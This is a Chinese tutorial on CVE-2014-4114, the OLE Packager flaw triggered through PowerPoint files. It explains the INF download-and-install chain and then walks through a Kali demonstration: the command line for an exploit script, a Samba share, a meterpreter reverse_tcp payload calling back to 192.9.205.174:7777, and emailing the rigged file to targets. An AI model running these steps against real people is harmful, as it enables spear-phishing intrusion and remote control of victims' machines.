本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
漏洞时间:2014年10月底
测试目标:装有office2007,office2013的机器。
漏洞说明:此漏洞目前主要被黑客组织用来进行APT(Advanced Persistent Threat)攻击,或者称之为“针对特定目标的攻击”。主要针对政府等大型企业,通过发送邮件的方式进行攻击。
CVE-2014-4114 是OLE包管理INF 任意代码执行漏洞,该漏洞影响Win Vista,Win7等以上操作系统,通过使用PowerPoint作为攻击载体,该漏洞是出现在Microsoft Windows和服务器上的OLE包管理器。在OLE打包文件(packer.dll)中能够下载并执行类似的INF外部文件,允许攻击者执行命令。
利用测试意在了解漏洞的危害,以进行更好的防御。
漏洞原理
1.用到分析工具 filealyzer.
2.通过分析工具我们可以看到这个文件嵌入了两个OLE 对象,如下:
OleObject2.bin中的\\192.9.205.102\share\slides.inf, 字符串,是一个webdav路径,下载后发现是一个INF文件。oleObject1.bin是一个GIF文件。
2.当该文件被PPT加载后,它会调用Packager.dll的CPackage::OLE2MPlayerReadFromStream函数将这两个文件从网络上下载下来并保存在临时目录中。
3.然后在函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件。CPackage::DoVerb的关键代码如下:
4.安装INF的过程最后是通过调用C:\Windows\System32\InfDefaultInstall.exe程序来安装的。如下图:
5.Slide.inf 的内容如下:
6.整个INF的主要功能是将slide1.gif重命名为slide1.gif.exe,然后添加注册表启动项。
漏洞大概原理就是:
执行PPT –> 内置2个OLE对象–> OLE对象包含2个远程webdav地址 –>调用packager.dll的函数CPackage::OLE2MPlayerReadFromStream把远程的 slide1.gif slides.inf 下载下来 —> 函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件–>inf将slide1.gif重命名为slide1.gif.exe。然后添加注册表启动项。
目前已经出现了把恶意代码包含在ppt文件中,但我现在的演示是恶意代码 放在了远程共享上。#p#
漏洞演示
vim ms14_060.py 把下面代码复制到ms14_060.py中。
kali中的python可能没有安装pptx模块。
我们手工安装一下。
2.在kali系统搭建smb服务。把下面代码复制到 /etc/samba/smb.conf 中。
mkdir /tmp/share
/etc/init.d/samba restart
3.执行下面命令。
python ms14_060.py sploit.pptx 192.9.205.174 -m 7777
产生一个a.ppsx 的文件。和一个slide1.gif的木马文件,slides.inf 的文件 slide1.gif中的攻击载荷为 meterpreter/reverce_tcp木马连接本地IP 192.9.205.174:7777 端口
生成的 aa.ppsx中可以写任何东西,普通PPT文件。
本地监听 7777端口。
修改ppsx内容。
修改名称,以邮件或者各种方式发给需要攻击者。
攻击者打开,反弹回shell